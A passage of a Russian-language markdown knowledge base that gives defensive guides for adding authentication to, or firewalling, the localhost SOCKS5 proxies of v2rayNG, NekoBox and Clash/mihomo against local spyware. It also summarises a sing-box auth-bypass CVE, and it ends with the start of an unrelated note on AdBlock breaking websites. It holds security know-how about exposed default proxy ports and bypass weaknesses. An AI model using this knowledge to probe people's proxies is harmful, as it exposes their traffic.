@happ_blocked 403 reverse_proxy /api/subscribe localhost:8080 } ``` ### 3x-ui: блокировка (если подписки через панель) Если вы используете 3x-ui и раздаёте подписки через встроенный API — поставьте nginx/caddy перед панелью как reverse proxy и добавьте UserAgent-фильтр. --- ## 14. ГАЙД: v2rayNG — как защититься > **Статус:** v2rayNG 2.0.0 (апрель 2026) — **SOCKS5-аутентификация НЕ поддерживается через UI** ### Текущая ситуация v2rayNG — самый популярный xray-клиент на Android. Он создаёт локальный SOCKS5-прокси на `127.0.0.1:10808` **без аутентификации**. В UI приложения **нет настройки** для включения auth. Последняя версия (2.0.0 от 4 апреля 2026) эту проблему **не исправляет**. Разработчики уведомлены 10 марта 2026 — на 7 апреля фикса нет. ### Вариант A: Custom Config (частичная защита) v2rayNG поддерживает импорт полного xray JSON-конфига. Можно попробовать включить auth через custom config: **Шаг 1.** Создайте файл `config.json` на телефоне (через любой текстовый редактор): ```json { "log": { "loglevel": "warning" }, "inbounds": [ { "tag": "socks-in", "port": 10808, "listen": "127.0.0.1", "protocol": "socks", "settings": { "auth": "password", "accounts": [ { "user": "myuser_r4nd0m", "pass": "mypass_s3cur3_x7k9" } ], "udp": false }, "sniffing": { "enabled": true, "destOverride": ["http", "tls", "quic"], "routeOnly": true } }, { "tag": "http-in", "port": 10809, "listen": "127.0.0.1", "protocol": "http", "settings": { "accounts": [ { "user": "myuser_r4nd0m", "pass": "mypass_s3cur3_x7k9" } ] } } ], "outbounds": [ { "protocol": "vless", "tag": "proxy", "settings": { "vnext": [ { "address": "ВАШ_СЕРВЕР_IP", "port": 443, "users": [ { "id": "ВАШ_UUID", "encryption": "none", "flow": "xtls-rprx-vision" } ] } ] }, "streamSettings": { "network": "tcp", "security": "reality", "realitySettings": { "fingerprint": "chrome", "serverName": "www.microsoft.com", "publicKey": "ВАШ_PUBLIC_KEY", "shortId": "" } } }, { "protocol": "freedom", "tag": "direct" }, { "protocol": "blackhole", "tag": "block" } ], "routing": { "domainStrategy": "IPIfNonMatch", "rules": [ { "type": "field", "ip": ["geoip:ru"], "outboundTag": "direct" }, { "type": "field", "ip": ["geoip:private"], "outboundTag": "direct" }, { "type": "field", "network": "tcp,udp", "outboundTag": "proxy" } ] } } ``` **Шаг 2.** В v2rayNG: нажмите **+** → **Custom config** → **Import custom config from locally** → выберите файл. **Шаг 3.** Нажмите на импортированный конфиг, чтобы активировать его. Нажмите **V** для подключения. ### ⚠️ Важное ограничение Custom Config **v2rayNG может перезаписать ваши inbound-настройки своими дефолтными.** Это известная проблема: - GitHub Issue #275: «Which parts of custom configs are honored?» — ответ: v2rayNG частично перезаписывает inbounds - GitHub Issue #646: «Custom configurations don't work properly» - На практике v2rayNG может проигнорировать `"auth": "password"` и выставить `"noauth"` **Как проверить:** после подключения запустите [POC-приложение](https://github.com/runetfreedom/per-app-split-bypass-poc). Если показывает «VPN not found» / «IP via proxy: -» → auth работает. Если показывает IP → auth перезаписан. ### Вариант B: Смена порта (слабая защита) Если custom config не работает: 1. В v2rayNG: **Настройки** → прокрутите вниз → поле **Local SOCKS5 port** 2. Замените `10808` на **нестандартный** (например, `47293`) 3. HTTP-порт: аналогично замените `10809` на другой **Почему это слабая защита:** - Скан всех 65535 портов — секунды - Но в методичке Минцифры перечислены конкретные порты, и многие POC/шпионы проверяют только известные - Это **не защита**, а **усложнение** — лучше чем ничего ### Вариант C: Перейти на Husi (рекомендация) Если для вас критична защита — **перейти на Husi**: 1. Скачайте Husi: [codeberg.org/xchacha20-poly1305/husi](https://codeberg.org/xchacha20-poly1305/husi/releases) 2. Экспортируйте ссылку из v2rayNG: долгое нажатие на сервер → **Поделиться** → скопируйте VLESS-ссылку 3. В Husi: импортируйте VLESS-ссылку 4. В настройках Husi: включите SOCKS5-аутентификацию (login/password) 5. Проверьте POC — должен показать «VPN not found» ### Вариант D: v2rayNG + AFWall+ (требует root) Если у вас root: ```bash # Узнать UID v2rayNG dumpsys package com.v2ray.ang | grep userId # Например: userId=10150 # Разрешить только v2rayNG подключаться к порту 10808 iptables -I OUTPUT -p tcp -d 127.0.0.1 --dport 10808 -m owner --uid-owner 10150 -j ACCEPT iptables -I OUTPUT -p tcp -d 127.0.0.1 --dport 10808 -j DROP iptables -I OUTPUT -p udp -d 127.0.0.1 --dport 10808 -m owner --uid-owner 10150 -j ACCEPT iptables -I OUTPUT -p udp -d 127.0.0.1 --dport 10808 -j DROP # То же для HTTP-порта iptables -I OUTPUT -p tcp -d 127.0.0.1 --dport 10809 -m owner --uid-owner 10150 -j ACCEPT iptables -I OUTPUT -p tcp -d 127.0.0.1 --dport 10809 -j DROP ``` > Правила iptables сбрасываются при перезагрузке. Используйте AFWall+ для автоматического применения при старте. ### Сводка по v2rayNG | Метод | Эффективность | Сложность | Root? | |-------|--------------|-----------|-------| | Custom config с auth | ⚠️ Может не работать (v2rayNG перезаписывает) | Средняя | Нет | | Смена порта | 🟡 Слабая (скан все равно найдёт) | Лёгкая | Нет | | Переход на Husi | ✅ **Подтверждённая защита** | Средняя | Нет | | AFWall+ iptables | ✅ Полная защита | Сложная | **Да** | | Отдельное устройство | ✅ Полная изоляция | — | Нет | --- ## 15. ГАЙД: NekoBox — как защититься > **Статус:** NekoBox 1.4.2 (февраль 2026) — **SOCKS5-аутентификация НЕ поддерживается через UI** > **Ядро:** sing-box 1.12.19-neko-1 (CVE-2023-43644 исправлена) > **Nekoray (десктоп):** прекращён, не поддерживается с 2026 года ### Текущая ситуация NekoBox создаёт **mixed inbound** (SOCKS4/4a/5 + HTTP) на `127.0.0.1:2080` **без аутентификации**. В UI нет настройки SOCKS5 auth. Порт 2080 нестандартный (не в методичке Минцифры), но это не защита — скан все равно найдёт. ### Вариант A: Custom sing-box JSON (лучший вариант без root) NekoBox позволяет кастомизировать sing-box конфигурацию. Нужно добавить аутентификацию в mixed inbound: **Шаг 1.** В NekoBox: **Настройки** → **Config Override** (или **Custom Config**) **Шаг 2.** Добавьте в секцию `inbounds` поле `users`: ```json { "inbounds": [ { "type": "mixed", "tag": "mixed-in", "listen": "127.0.0.1", "listen_port": 2080, "users": [ { "username": "neko_x8f2a1", "password": "p_k3m9v7c4b6n1" } ], "sniff": true, "sniff_override_destination": false } ] } ``` **Шаг 3.** Сохраните и перезапустите NekoBox. **Шаг 4.** Проверьте [POC-приложением](https://github.com/runetfreedom/per-app-split-bypass-poc): - «VPN not found» = auth работает ✅ - Показывает IP = auth не применился ❌ ### ⚠️ Важное ограничение NekoBox генерирует sing-box JSON автоматически из UI-настроек. При обновлении конфигурации (смена сервера, обновление подписки) **кастомные inbound могут быть перезаписаны**. Проверяйте auth после каждого изменения. ### Вариант B: Удалить mixed inbound полностью Если вы используете NekoBox **только в TUN-режиме** (весь трафик через VPN), локальный SOCKS5-прокси вам не нужен. Можно попробовать отключить его: 1. В custom config: удалите mixed inbound из `inbounds` 2. Оставьте только TUN inbound: ```json { "inbounds": [ { "type": "tun", "tag": "tun-in", "inet4_address": "172.19.0.1/30", "auto_route": true, "strict_route": true } ] } ``` **Без mixed inbound** шпиону нечего сканировать на localhost — прокси не существует. **Ограничение:** некоторые приложения (Telegram, Firefox с ручной настройкой прокси) могут требовать SOCKS5-прокси напрямую. Без mixed inbound они не смогут подключиться через VPN. ### Вариант C: Смена порта 1. В NekoBox: **Настройки** → **Basic Settings** → **Mixed Port** 2. Замените `2080` на нестандартный (например, `38741`) 3. Перезапустите Та же оговорка: слабая защита, скан найдёт. Но лучше чем дефолтный 2080. ### Вариант D: Переход на Husi Husi — тоже sing-box клиент, конфиги **совместимы**: 1. Скачайте Husi: [codeberg.org/xchacha20-poly1305/husi/releases](https://codeberg.org/xchacha20-poly1305/husi/releases) 2. Экспортируйте конфигурации из NekoBox (подписки, VLESS-ссылки) 3. Импортируйте в Husi 4. Включите SOCKS5-аутентификацию в настройках Husi 5. Проверьте POC **Миграция:** автоматического инструмента нет. Подписки импортируются через ссылки. Routing-правила придётся настроить заново. ### Вариант E: AFWall+ iptables (требует root) ```bash # Узнать UID NekoBox dumpsys package moe.nb4a | grep userId # Например: userId=10200 # Разрешить только NekoBox на порт 2080 iptables -I OUTPUT -p tcp -d 127.0.0.1 --dport 2080 -m owner --uid-owner 10200 -j ACCEPT iptables -I OUTPUT -p tcp -d 127.0.0.1 --dport 2080 -j DROP iptables -I OUTPUT -p udp -d 127.0.0.1 --dport 2080 -m owner --uid-owner 10200 -j ACCEPT iptables -I OUTPUT -p udp -d 127.0.0.1 --dport 2080 -j DROP ``` ### Nekoray (десктоп) — прекращён Nekoray (десктопная версия) **больше не поддерживается** с 2026 года. Разработчик: «不再维护，自寻替代品» (больше не обслуживается, ищите альтернативы). Альтернативы на десктопе: - **v2rayN** (Windows) — пресет «Все, кроме РФ», ручная правка JSON - **sing-box** CLI (все платформы) — полный контроль конфигурации - **XrayFluent** (Windows) — будет исправлен ### Сводка по NekoBox | Метод | Эффективность | Сложность | Root? | |-------|--------------|-----------|-------| | Custom JSON с users | ⚠️ Работает, но может сброситься при обновлении | Средняя | Нет | | Удаление mixed inbound | ✅ Нет прокси = нечего сканировать | Средняя | Нет | | Смена порта | 🟡 Слабая | Лёгкая | Нет | | Переход на Husi | ✅ **Подтверждённая защита** | Средняя | Нет | | AFWall+ iptables | ✅ Полная защита | Сложная | **Да** | --- ## 16. ГАЙД: Clash/mihomo — как защититься > **Ядро:** mihomo (Clash Meta) — поддерживает SOCKS5 auth нативно > **Проблема:** по дефолту `skip-auth-prefixes` включает `127.0.0.1/8` → **localhost обходит аутентификацию** > **Клиенты:** ClashMeta Android, FlClash, Clash Verge Rev, ClashX Meta ### Текущая ситуация mihomo/Clash — **единственное ядро** с двумя важными преимуществами: 1. **По дефолту `socks-port` выключен** (`# socks-port: 7891` — закомментировано). Дефолтный режим — **rule-based** (правила маршрутизации), без локального SOCKS5-прокси. Шпиону нечего сканировать → **безопасен из коробки**. 2. **Аутентификация поддерживается нативно** через YAML-конфиг — проще чем в xray/sing-box. **НО:** если вы **сами включили** `socks-port` (раскомментировали строку), возникают два сценария: - Без `authentication` → прокси полностью открыт → **уязвим** - С `authentication`, но дефолтным `skip-auth-prefixes: [127.0.0.1/8]` → localhost обходит пароль → **всё ещё уязвим** Поле `skip-auth-prefixes` по дефолту содержит `127.0.0.1/8` и `::1/128` — это by design, localhost считается «доверенной» зоной. Для защиты от шпионского ПО нужно **убрать localhost из skip-auth-prefixes**. ### Фундаментальное отличие от xray/sing-box | | xray/sing-box клиенты | mihomo/Clash клиенты | |---|---|---| | **SOCKS5 по дефолту** | ✅ Всегда включён | ❌ Выключен (TUN-only) | | **Auth по дефолту** | `noauth` (открыт) | N/A (порт не открыт) | | **Риск из коробки** | 🔴 Высокий | 🟢 Низкий | | **Если включить socks-port** | Открыт без auth | Открыт без auth (аналогично) | | **Нативная поддержка auth** | Да, но через JSON | Да, через YAML (проще) | **Вывод:** если вы используете Clash/mihomo в дефолтном TUN-режиме без `socks-port` — **вы не уязвимы**. Проблема возникает только если вы сами включили SOCKS5-порт. ### Дефолтные порты mihomo | Порт | Тип | Описание | |------|-----|----------| | `7890` | HTTP(S) | HTTP-прокси | | `7891` | SOCKS5 | SOCKS5-прокси | | `10801` (или `7892`) | Mixed | HTTP + SOCKS5 на одном порту | | `7892` | Redirect | Прозрачный прокси | | `7893` | TProxy | Только Linux/Android | ### Уязвимая конфигурация (дефолт) ```yaml # ❌ УЯЗВИМО: localhost обходит auth port: 7890 socks-port: 7891 mixed-port: 10801 authentication: - "user:password" # Вот в чём проблема — дефолтные значения: skip-auth-prefixes: - 127.0.0.1/8 - ::1/128 ``` Даже с `authentication` шпион с localhost подключится **без пароля** через `skip-auth-prefixes`. ### Безопасная конфигурация (Вариант 1: глобальная) ```yaml port: 7890 socks-port: 7891 mixed-port: 10801 allow-lan: false # Не слушать на 0.0.0.0 bind-address: 127.0.0.1 # Только localhost authentication: - "clash_x8f2a:p_k3m9v7c4b6" # ✅ КРИТИЧНО: убрать localhost из skip-auth-prefixes skip-auth-prefixes: [] # Пустой массив = auth для ВСЕХ ``` > ⚠️ **Побочный эффект:** некоторые приложения (Telegram, браузеры с настроенным прокси) могут потребовать ввод логина/пароля для подключения к локальному прокси. Если используете TUN-режим — это не проблема. ### Безопасная конфигурация (Вариант 2: per-listener) Более гибкий подход — настроить auth на уровне отдельных listeners: ```yaml listeners: - name: socks-local type: socks port: 7891 listen: 127.0.0.1 users: - username: clash_local password: s3cur3_p4ss_x7k9 - name: mixed-local type: mixed port: 10801 listen: 127.0.0.1 udp: true users: - username: clash_local password: s3cur3_p4ss_x7k9 - name: http-local type: http port: 7890 listen: 127.0.0.1 users: - username: clash_local password: s3cur3_p4ss_x7k9 ``` > ⚠️ **Верификацией установлено:** per-listener `users` перезаписывает глобальный `authentication`, но **может НЕ перезаписывать** `skip-auth-prefixes`. Глобальный `skip-auth-prefixes` применяется на уровне сети и может обходить даже per-listener auth. **Рекомендация:** всегда устанавливать `skip-auth-prefixes: []` глобально, даже при использовании per-listener `users`. ### Инструкция по клиентам **ClashMeta for Android** (v2.11.25+): 1. Откройте конфиг (Profile → Edit) 2. Добавьте `authentication` и `skip-auth-prefixes: []` 3. Или используйте `listeners` с `users` 4. Сохраните и перезапустите **Clash Verge Rev** (Windows/macOS/Linux): 1. Профиль → правый клик → «Open File» 2. Отредактируйте YAML 3. Или: Settings → Merge Config → добавьте override **FlClash:** 1. Аналогично — редактирование YAML профиля 2. Документация: [flclash.cc](https://flclash.cc/) ### Известные CVE Clash/mihomo | CVE | Описание | Затронуто | |-----|----------|-----------| | **CVE-2024-5732** | Clash ≤ 0.20.1 Windows — обход аутентификации на Proxy Port (удалённый доступ) | Clash (не mihomo) | | **CVE-2025-50505** | Clash Verge Rev — уязвимость API | Clash Verge Rev | | **mihomo-party macOS** | Привилегированный UNIX-сокет `/tmp/mihomo-party-helper.sock` с world-rw правами, без аутентификации → перехват трафика | mihomo-party < 1.8.1 | ### Безопасность API mihomo ```yaml # config.yaml external-controller: 127.0.0.1:9090 secret: "ваш_секретный_токен" ``` > ⚠️ **Важно:** API-аутентификация через `Authorization: Bearer {secret}` **НЕ проверяется** при подключении через Unix-сокет или Windows named pipe. Защита — только file permissions (0600). ### Сводка по Clash/mihomo | Метод | Эффективность | Сложность | |-------|--------------|-----------| | `authentication` + `skip-auth-prefixes: []` | ✅ Полная защита | Лёгкая (3 строки YAML) | | Per-listener `users` | ✅ Полная, гибкая | Средняя | | Только смена порта | 🟡 Слабая | Лёгкая | | TUN без SOCKS-прокси | ✅ Нет прокси = нечего сканировать | Средняя | **Вывод:** Clash/mihomo — **лучшая ситуация** из всех ядер. Auth поддерживается нативно, фикс — 3 строки в YAML. Нужно только убрать `127.0.0.1/8` из `skip-auth-prefixes`. --- ## 17. Фаерволы на Android: что реально работает ### Без root: почти ничего | Приложение | Блокирует localhost? | Почему | |------------|---------------------|--------| | **NetGuard** (VPN-based) | ❌ **Нет** | Android VPN API не перехватывает localhost-трафик. VPN видит только трафик через сетевые интерфейсы, а loopback (127.0.0.1) — внутренний | | **RethinkDNS** (VPN-based) | ❌ **Нет** | Та же причина — VPN API не покрывает localhost | | **Blokada** (VPN-based) | ❌ **Нет** | Аналогично | | **AdGuard** (VPN-based) | ❌ **Нет** (localhost) | Но блокирует скрипты Meta Pixel/Яндекс.Метрики на уровне DNS/HTTP — **полезно против трекинга** | **Почему VPN-based фаерволы не помогают:** ``` ┌─────────────────────────────────────────────────────┐ │ Android │ │ │ │ Приложение A ──→ 127.0.0.1:10808 ──→ xray/sing-box│ │ ↑ │ │ │ ← Это localhost, не проходит через VPN API │ │ │ │ │ NetGuard/RethinkDNS (VPN) перехватывают ТОЛЬКО: │ │ eth0, wlan0, rmnet0 (реальные интерфейсы) │ │ ↓ │ │ Приложение B ──→ google.com ──→ [VPN перехватывает]│ └─────────────────────────────────────────────────────┘ ``` Loopback-интерфейс — **внутренний**, он не маршрутизируется через VPN-тоннель. VPN API от Google **by design** не перехватывает localhost. ### С root: AFWall+ (iptables) **AFWall+** ([github.com/ukanth/afwall](https://github.com/ukanth/afwall)) использует iptables **напрямую в ядре Linux**, минуя Android VPN API. Это единственный способ заблокировать localhost-доступ на Android. **Установка:** 1. Убедитесь что есть root (Magisk/KernelSU) 2. Установите AFWall+ из F-Droid или GitHub 3. Откройте → разрешите root-доступ 4. Режим: **Whitelist** (разрешить только выбранным) **Настройка кастомных правил:** В AFWall+: **Меню** → **Set custom script** → добавьте: ```bash # Защита SOCKS5-порта v2rayNG (10808) # Разрешить только UID v2rayNG (замените 10150 на реальный UID) iptables -I "afwall" -p tcp -d 127.0.0.1 --dport 10808 -m owner --uid-owner 10150 -j ACCEPT iptables -I "afwall" -p tcp -d 127.0.0.1 --dport 10808 -j REJECT # Защита HTTP-порта v2rayNG (10809) iptables -A "afwall" -p tcp -d 127.0.0.1 --dport 10809 -m owner --uid-owner 10150 -j ACCEPT iptables -A "afwall" -p tcp -d 127.0.0.1 --dport 10809 -j REJECT # Защита mixed-порта NekoBox (2080) # (замените 10200 на реальный UID NekoBox) iptables -A "afwall" -p tcp -d 127.0.0.1 --dport 2080 -m owner --uid-owner 10200 -j ACCEPT iptables -A "afwall" -p tcp -d 127.0.0.1 --dport 2080 -j REJECT ``` **Как узнать UID приложения:** ```bash # Через adb adb shell dumpsys package com.v2ray.ang | grep userId # userId=10150 adb shell dumpsys package moe.nb4a | grep userId # userId=10200 ``` Или в AFWall+ UI: каждое приложение показывает свой UID в скобках. **Важно:** правила iptables сбрасываются при перезагрузке. AFWall+ автоматически применяет кастомный скрипт при каждом старте — поэтому используйте именно AFWall+, а не ручные iptables. ### Без root: что хоть немного помогает 1. **AdGuard DNS** — блокирует скрипты Meta Pixel и Яндекс.Метрики, которые могут обнаруживать VPN через localhost. Не защищает от прямого сканирования шпионским модулем, но убирает трекинг из браузера. 2. **Brave Browser** — с 2022 года блокирует запросы к localhost из веб-страниц. Защищает от трекинга Meta/Яндекс через браузер, но не от нативного шпионского приложения. 3. **Отдельное устройство** — физическая изоляция. Российское ПО на одном телефоне, VPN на другом. Loopback не пересекается между устройствами. --- ## 18. FAQ: hev-socks5-tunnel, Karing, Husi, v2rayN ### Q: Как включить auth, если я не владелец подписки? **A: Владение подпиской НЕ имеет значения.** SOCKS5-аутентификация на local inbound — это **чисто клиентская настройка**. Она защищает локальный прокси на ВАШЕМ устройстве от других приложений. Сервер подписки об этом даже не знает. ``` СЕРВЕР (владелец подписки) ВАШЕ УСТРОЙСТВО (вы контролируете) ┌──────────────────────┐ ┌──────────────────────────────┐ │ VLESS Reality inbound│◄──────────│ xray outbound (VLESS) │ │ Вы НЕ контролируете │ туннель │ │ └──────────────────────┘ │ SOCKS5 inbound ← ВОТ ЭТО │ │ localhost:10808 ВАШЕ │ │ auth: password ← МЕНЯТЬ ТУТ │ └──────────────────────────────┘ ``` **Реальная проблема:** при обновлении подписки некоторые клиенты перегенерируют конфиг и могут **сбросить** ваши кастомные inbound-настройки. Но это зависит от клиента: - **v2rayN** (Windows) ✅ — хранит inbound-настройки (`Config.Inbound`) в `guiNConfig.json` **отдельно** от подписок (SQLite `guiN.db`). Auth **не сбрасывается** при обновлении подписки. Архитектура подтверждена через DeepWiki и исходный код. - **Clash/mihomo** ✅ — `authentication` и `skip-auth-prefixes` в глобальной секции config.yaml. `proxy-providers` (подписки) обновляют **только список прокси**, не трогая глобальный конфиг. Clash Verge Rev дополнительно защищает глобальные настройки через Merge-профили. - **Husi** (Android) ⚠️ — вероятно сохраняет auth в настройках приложения, но **документально не подтверждено**. Рекомендуется проверить auth после каждого обновления подписки. - **v2rayNG** (Android) ⚠️ — custom config **проблематичен**. Известные проблемы: нет документации какие секции custom config реально применяются — пользователи вынуждены спрашивать ([#275](https://github.com/2dust/v2rayNG/issues/275) — «How to use custom config feature?»), краши при кастомных DNS-конфигурациях ([#1911](https://github.com/2dust/v2rayNG/issues/1911) — «V2ray Crash When using custom config»), игнорирование кастомных DNS при включённом local DNS ([#3670](https://github.com/2dust/v2rayNG/issues/3670)). Прямых доказательств перезаписи auth при обновлении подписки не найдено, но стабильность custom config не гарантирована — **не рекомендуется** как единственный метод защиты. Надёжнее перейти на Husi. ### Q: Нужно ли просить админа сервера что-то менять? **A:** Для защиты local inbound — **нет**. Но для полной защиты **рекомендуется** попросить админа: - Настроить раздельные входной/выходной IP (или WARP) - Заблокировать geoip:ru на outbound - Заблокировать Happ по UserAgent ### Q: v2rayNG использует hev-socks5-tunnel — в нём та же уязвимость? **A:** `hev-socks5-tunnel` — это библиотека tun2socks, которая **сама по себе поддерживает** SOCKS5-аутентификацию (username/password). Уязвимость не в библиотеке, а в том что **v2rayNG не включает аутентификацию** на SOCKS5 inbound xray-core. hev-socks5-tunnel подключается к xray-core inbound `127.0.0.1:10808` с `noauth` — и шпион может сделать то же самое. **Чтобы исправить:** - v2rayNG должен добавить `"auth": "password"` в xray inbound - И передать те же credentials в конфиг hev-socks5-tunnel - Пока этого нет — v2rayNG уязвим ### Q: Karing уязвим? **A:** Скорее всего **да**. Karing использует ядро sing-box и создаёт три mixed inbound на `127.0.0.1:3065`, `127.0.0.1:3066`, `127.0.0.1:3067`. В UI Karing **нет настройки SOCKS5 auth**. Защита возможна через ручную правку JSON-конфига — добавить `users` с паролем ко всем трём inbound. Подробная инструкция с JSON-примером — см. [раздел 2, «О Karing (sing-box)»](#о-karing-sing-box). Порты 3065-3067 нестандартные (не в методичке Минцифры), но скан всех портов — секунды. ### Q: Husi — действительно безопасен? **A:** Husi — единственный Android-клиент с **подтверждённой** SOCKS5-аутентификацией в UI. POC-приложение не смогло обнаружить прокси при включённой аутентификации. **НО:** 1. Убедитесь что используется sing-box **v1.4.5+** — в более ранних есть CVE-2023-43644 (обход auth) 2. UDP ASSOCIATE всё равно не аутентифицируется per-packet — лучше отключить 3. Аутентификация — не панацея, а барьер. Сложную атаку она не остановит ### Q: В v2rayN на Windows можно включить SOCKS5 auth? **A:** Да, начиная с v7.0+, через ручную правку конфига: 1. Настройки → параметры ядра → кастомный inbound 2. Изменить `"auth": "noauth"` на `"auth": "password"` 3. Добавить `"accounts": [{"user": "xxx", "pass": "yyy"}]` 4. Сохранить и перезапустить Также в v2rayN 7.0+ есть пресет «Все, кроме РФ» в региональных настройках. ### Q: Как v2rayN реализует «Все, кроме РФ»? **A:** Настройки → Региональные пресеты → Россия. Скачивает правила из: - [runetfreedom/russia-v2ray-rules-dat](https://github.com/runetfreedom/russia-v2ray-rules-dat) — geoip - [nicknameisthekey/russia-v2ray-custom-routing-list](https://github.com/nicknameisthekey/russia-v2ray-custom-routing-list) — geosite Правила: `geoip:ru → direct`, `geosite:ru → direct`, всё остальное → proxy. --- ## 19. CVE-2023-43644: обход аутентификации sing-box ### Критическая уязвимость **CVE-2023-43644** — Missing Authentication for Critical Function в sing-box SOCKS5 inbound. | | | |---|---| | **CVSS** | 9.1 (Critical) | | **Затронуто** | sing-box < 1.4.5, sing-box < 1.5.0-rc.5 | | **Исправлено** | sing-box ≥ 1.4.5, sing-box ≥ 1.5.0-rc.5 | | **Суть** | Атакующий может обойти SOCKS5-аутентификацию специально сформированным запросом | | **Источник** | [GHSA-r5hm-mp3j-285g](https://github.com/advisories/GHSA-r5hm-mp3j-285g) | ### Техническая суть В функции `HandleConnection0` (файл `protocol/socks/handshake.go`) обработка запросов продолжалась **даже после неудачной аутентификации**. Не проверялся код статуса аутентификации. ### Кого затрагивает - **Husi** — если использует старую версию sing-box (до 1.4.5) - **Karing** — если использует старую версию sing-box - **SFA** — если использует старую версию sing-box - **Все клиенты на базе sing-box** с SOCKS5 inbound ### Как проверить версию В sing-box клиенте: настройки → о программе → версия ядра. Должна быть **≥ 1.4.5**. ### Рекомендация Даже если вы включили SOCKS5 auth — **обновите sing-box**. На старых версиях аутентификация обходится. --- ## 20. Чеклист действий ### Для пользователей - [ ] Удалить Happ (если установлен) - [ ] Перейти на клиент с SOCKS5 auth (Husi, SFA, saeeddev94/xray) - [ ] Включить аутентификацию на SOCKS5 inbound - [ ] Отключить UDP в SOCKS5 (или убедиться что не критично) - [ ] Включить маршрутизацию «Все, кроме РФ» на клиенте - [ ] Российское ПО — на отдельное устройство (Android) - [ ] На Windows: настроить Firewall по процессам - [ ] Убедиться что sing-box ≥ 1.4.5 (если на sing-box) ### Для администраторов серверов - [ ] Настроить раздельные входной/выходной IP (или WARP) - [ ] Заблокировать geoip:ru на outbound - [ ] Заблокировать geoip:private на outbound - [ ] Заблокировать .ru/.рф домены на outbound - [ ] Заблокировать Happ по UserAgent на сервере подписок - [ ] Убрать HandlerService из API (оставить только StatsService) - [ ] Убрать ReflectionService из API - [ ] Включить WARP как outbound (маскировка выходного IP) - [ ] Мониторить запросы к ifconfig.me/ipinfo.io через прокси ### Для разработчиков клиентов - [ ] Включить `"auth": "password"` по умолчанию - [ ] Генерировать рандомные credentials при каждом запуске - [ ] Отключить UDP в SOCKS5 или реализовать per-packet auth - [ ] Рандомизировать порт (не стандартные 10808/2080/1080) - [ ] Слушать только на `127.0.0.1` (никогда `0.0.0.0`) - [ ] Не включать HandlerService в xray API - [ ] Обновить sing-box до ≥ 1.4.5 (CVE-2023-43644) --- ## Источники ### Документация протоколов - [RFC 1928 — SOCKS Protocol Version 5](https://www.rfc-editor.org/rfc/rfc1928) - [RFC 1929 — Username/Password Auth for SOCKS V5](https://www.rfc-editor.org/rfc/rfc1929) - [xray-core SOCKS inbound](https://xtls.github.io/en/config/inbounds/socks.html) - [xray-core Routing](https://xtls.github.io/en/config/routing.html) - [xray-core Freedom outbound](https://xtls.github.io/en/config/outbounds/freedom.html) - [xray-core WireGuard outbound](https://xtls.github.io/en/config/outbounds/wireguard.html) - [xray-core API](https://xtls.github.io/en/config/api.html) - [xray-core WARP guide](https://xtls.github.io/en/document/level-2/warp.html) - [sing-box SOCKS inbound](https://sing-box.sagernet.org/configuration/inbound/socks/) - [sing-box Mixed inbound](https://sing-box.sagernet.org/configuration/inbound/mixed/) - [sing-box Route rules](https://sing-box.sagernet.org/configuration/route/rule/) ### Уязвимости и исследования - [CVE-2023-43644 — sing-box SOCKS5 auth bypass](https://github.com/advisories/GHSA-r5hm-mp3j-285g) - [localmess.github.io — Meta/Яндекс localhost-трекинг](https://localmess.github.io/) - [Habr: Критическая уязвимость VLESS клиентов](https://habr.com/ru/articles/1020080/) - [POC: per-app-split-bypass](https://github.com/runetfreedom/per-app-split-bypass-poc) ### Клиенты - [Husi (Codeberg)](https://codeberg.org/xchacha20-poly1305/husi) - [saeeddev94/xray (F-Droid)](https://f-droid.org/packages/io.github.saeeddev94.xray/) - [Karing](https://github.com/KaringX/karing) - [hev-socks5-tunnel](https://github.com/heiher/hev-socks5-tunnel) - [v2rayN](https://github.com/2dust/v2rayN) ### GeoIP/GeoSite правила - [runetfreedom/russia-v2ray-rules-dat](https://github.com/runetfreedom/russia-v2ray-rules-dat) - [nicknameisthekey/russia-v2ray-custom-routing-list](https://github.com/nicknameisthekey/russia-v2ray-custom-routing-list) - [Loyalsoldier/v2ray-rules-dat](https://github.com/Loyalsoldier/v2ray-rules-dat) ### Серверные панели - [3x-ui](https://github.com/MHSanaei/3x-ui) - [3x-ui WARP setup](https://3x-ui.com/) --- --- date: 2026-07-11 tags: - browser - extensions - adblock - ublock-origin - troubleshooting aliases: - AdBlock ломает сайты - Адблок ломает YouTube - Подмена поиска Google на Яндекс - Сайт не работает - Запрет не работает link: --- # 🧩 AdBlock ломает сайты и маскируется под вирус > [!info] О чём заметка > Старое или заброшенное расширение-блокировщик рекламы (чаще всего именно **AdBlock**, а не uBlock Origin) способно ломать загрузку страниц, видео на YouTube, ChatGPT, VK и даже подменять поисковик Google на Яндекс — при этом антивирусы ничего не находят, а пользователь грешит на вирус или на способ обхода блокировок вроде [[Zapret/about|zapret]]. Здесь — симптомы, реальный случай, диагностика и чем заменить. ## TL;DR - Расширение AdBlock (особенно давно не обновлявшееся) может блокировать **легитимные** запросы сайтов: страницы не догружаются, YouTube не показывает видео, ChatGPT выдаёт ошибки вида 404, VK «крашится» и просит перезагрузить страницу. - Отдельный коварный симптом: **поиск Google молча подменяется на Яндекс** — выглядит как рекламный вирус, но антивирусы (KVRT, AdwCleaner) ничего не находят. - Прежде чем винить вирус или способ обхода DPI — **отключи блокировщик рекламы** и проверь сайт ещё раз. Это занимает 30 секунд. - Замена: **uBlock Origin** — открытый исходный код, по многолетним наблюдениям сообщества сайты он ломает заметно реже (а конфликты решаются логгером в один клик). ## Симптомы: выглядит как вирус, но это расширение Картина, которую даёт сломанный или устаревший AdBlock, почти неотличима от заражения рекламным вирусом (adware): - Страницы **не догружаются до конца** — часть элементов отсутствует, вёрстка разваливается. - **YouTube** не воспроизводит видео или бесконечно крутит спиннер. - **ChatGPT**: при входе в любой чат — ошибка вида 404. - **VK** периодически падает с предложением перезагрузить страницу. - **Поисковик Google в браузере сам меняется на Яндекс**, а после удаления Яндекса из списка поисковиков браузер вообще не может выполнить поисковый запрос. - Проблема воспроизводится **во всех браузерах на одном компьютере** (если блокировщик установлен в каждом из них), что ещё сильнее наводит на мысль о вирусе. Проще говоря: сайт шлёт запросы, блокировщик с кривыми фильтрами часть из них молча убивает, и сайт ведёт себя как сломанный — а откуда именно пришла поломка, снаружи не видно. ## Реальный случай (июль 2026) > [!warning] Статус данных > Ниже — пересказ одного случая из пользовательского чата поддержки [[Zapret/about|zapret]] (июль 2026). Это наблюдение, а не воспроизводимый тест: конкретная версия расширения и точный механизм подмены поисковика неизвестны. Механику («блокировщик обрывает соединение с Google, браузер переключается на резервный поисковик») участники чата предложили как правдоподобное объяснение, но она не проверялась. Пользователь около четырёх месяцев мучился с симптомами: все браузеры на одном ПК недогружали 